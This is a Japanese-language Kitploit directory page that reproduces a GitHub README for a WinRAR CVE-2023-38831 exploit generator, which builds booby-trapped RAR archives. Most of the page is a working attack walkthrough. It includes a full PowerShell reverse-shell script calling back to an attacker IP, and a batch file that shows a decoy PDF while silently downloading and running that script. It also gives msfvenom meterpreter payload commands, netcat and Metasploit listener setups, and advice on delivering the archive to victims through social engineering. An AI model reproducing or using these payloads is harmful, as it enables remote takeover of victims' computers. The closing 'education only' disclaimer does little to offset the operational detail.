Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-38831-Exploit — このプロジェクトには、**CVE-2023-38831** を悪用する Python スクリプトが含まれています。この脆弱性は **WinRAR** 6.23 より前のバージョンに存在します。このエクスプロイトは、被害者がアーカイブ内の無害に見えるファイル(PDF など)を開くと任意のコードが実行される、**悪意のある RAR アーカイブ** を生成します。 | Kitploit
ツール/GitHubGitHub/technicalcorp0/cve-2023-38831-exploit
ペイロード生成エクスプロイトウェブアプリケーション悪用ペネトレーションテストソーシャルエンジニアリング学習と教育レッドチーミング
GitHubtechnicalcorp0/cve-2023-38831-exploit

CVE-2023-38831-Exploit

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

このプロジェクトには、**CVE-2023-38831** を悪用する Python スクリプトが含まれています。この脆弱性は **WinRAR** 6.23 より前のバージョンに存在します。このエクスプロイトは、被害者がアーカイブ内の無害に見えるファイル(PDF など)を開くと任意のコードが実行される、**悪意のある RAR アーカイブ** を生成します。

リポジトリを見る
141年前未レビュー

CVE-2023-38831 WinRAR エクスプロイトジェネレーター

作成者: technical_corp

このプロジェクトには、WinRAR バージョン6.23より前のバージョンに存在する CVE-2023-38831 脆弱性を悪用するPythonスクリプトが含まれています。このエクスプロイトは、被害者がアーカイブ内の無害に見えるファイル(PDFなど)を開くと、任意のコードを実行する悪意のあるRARアーカイブを生成します。この脆弱性は2023年4月から8月にかけて実際の攻撃で悪用されました。

脆弱性の概要

CVE-2023-38831 は WinRAR の脆弱性であり、攻撃者が被害者に無害なファイルとそれと同名の悪意のあるフォルダの両方を含むアーカイブを開かせると、任意のコードを実行できるようになります。ユーザーが無害なファイルを操作すると、WinRAR は誤って悪意のあるフォルダの内容を処理し、攻撃者のペイロードを実行します。

エクスプロイトの特徴

  • おとりファイル(例:PDF)とペイロード(例:.bat または .exe ファイル)を含む悪意のあるRARアーカイブを生成します。
  • おとりファイルはユーザーが指定した任意のファイル(PDFや文書など)にできます。
  • ペイロードは任意の実行可能ファイルやスクリプト(例:msfvenom で作成したリバースシェル)にできます。
  • 被害者がおとりファイルを開くと、ペイロードがバックグラウンドで静かに実行されます。

前提条件

  • Python 3.x
  • 被害者マシンにインストールされたWinRAR バージョン 6.23 より前(これが脆弱なバージョンです)。
  • WinRAR 6.22 をこちらからダウンロード
  • Metasploit Framework(オプション、ペイロード生成用)。

使用方法

このリポジトリをクローン:

root@kitploit:~
git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit

ここでは、.rar アーカイブに埋め込まれたバッチファイルを使用して、ホストされたPowerShellリバースシェルをダウンロードし実行します。

手順:

PowerShellリバースシェルスクリプトの作成:

以下のPowerShellスクリプトをKali Linuxマシン上で reverse.ps1 として保存します:

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()};
$client.Close()

<attacker_ip> をKali LinuxマシンのIPに置き換えます。

<attacker_port> をリスニングするポート番号に置き換えます。

Kali Linuxマシン上でPowerShellスクリプトをホスト:

PowerShellスクリプトが保存されているフォルダに移動:

root@kitploit:~
cd /path/to/powershell-script

PythonのHTTPサーバーを使用してファイルをポート80でホスト:

root@kitploit:~
python3 -m http.server 80

これにより、reverse.ps1 が http://<attacker_ip>/reverse.ps1 で利用可能になります。

PowerShellスクリプトをダウンロードして実行するバッチファイルの作成:

PowerShellリバースシェルをダウンロードして実行するバッチファイル(script.bat)を作成:

root@kitploit:~
@echo off
:: 正規のPDFを開く
start bait.pdf

:: PowerShellスクリプトをダウンロードして実行
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit

CVE-2023-38831 エクスプロイトスクリプトを使用してバッチファイルを埋め込む:

WinRARエクスプロイトスクリプトを実行し、バッチファイルを正規のPDFに埋め込みます:

root@kitploit:~
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar

このコマンドは、script.bat を含む POC.rar ファイルを作成し、リバースシェルを実行します。

Kali Linux上でNetcatリスナーをセットアップ:

リバースシェルを受け取るためにNetcatリスナーを起動:

root@kitploit:~
nc -lvnp <attacker_port>

エクスプロイト(POC.rar)を被害者に配信:

被害者が POC.rar を開きPDFファイルを実行すると、script.bat がトリガーされます。

スクリプトはサーバーからPowerShellリバースシェルをダウンロードして実行します。

Netcatリスナーにリバースシェル接続が届きます。

即時実行を伴わない実行可能ファイルの使用:

ペイロードの生成(Metasploitを使用する場合): msfvenom を使用してリバースシェルペイロードを作成できます:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe

作成した payload.exe を CVE-2023-WinRAR-Exploit ディレクトリ に移動します

エクスプロイトジェネレーターを実行: Pythonスクリプトを実行して悪意のあるRARファイルを生成:

root@kitploit:~
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar

-b: おとりファイルを指定(例:nmapcheatsheet.pdf)。

-p: ペイロードファイルを指定(例:script.bat または payload.exe)。

-o: 出力ファイル名を指定(例:POC.rar)。

RARファイルを被害者に配信: 生成された malicious_archive.rar は、ソーシャルエンジニアリング、メール添付、ファイル共有プラットフォームなどを通じて被害者に配信できます。

リスナーをセットアップ(Metasploitを使用する場合): 攻撃者マシン上でリバースシェルを受け取るリスナーをセットアップ:

root@kitploit:~
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit

エクスプロイトの流れ

  1. 攻撃者は被害者に悪意のあるRARファイルを配信します。
  2. 被害者がおとりファイル(例:nmapcheatsheet.pdf)を開くと、ペイロードが静かにトリガーされます。
  3. ペイロード(例:リバースシェル)がバックグラウンドで実行され、攻撃者が被害者のシステムを制御できるようになります。

免責事項

このプロジェクトは教育目的のみを意図しています。作者は本エクスプロイトの誤用について一切の責任を負いません。許可された環境または完全な同意を得た侵入テストシナリオでのみ使用すべきです。

ツールをダウンロード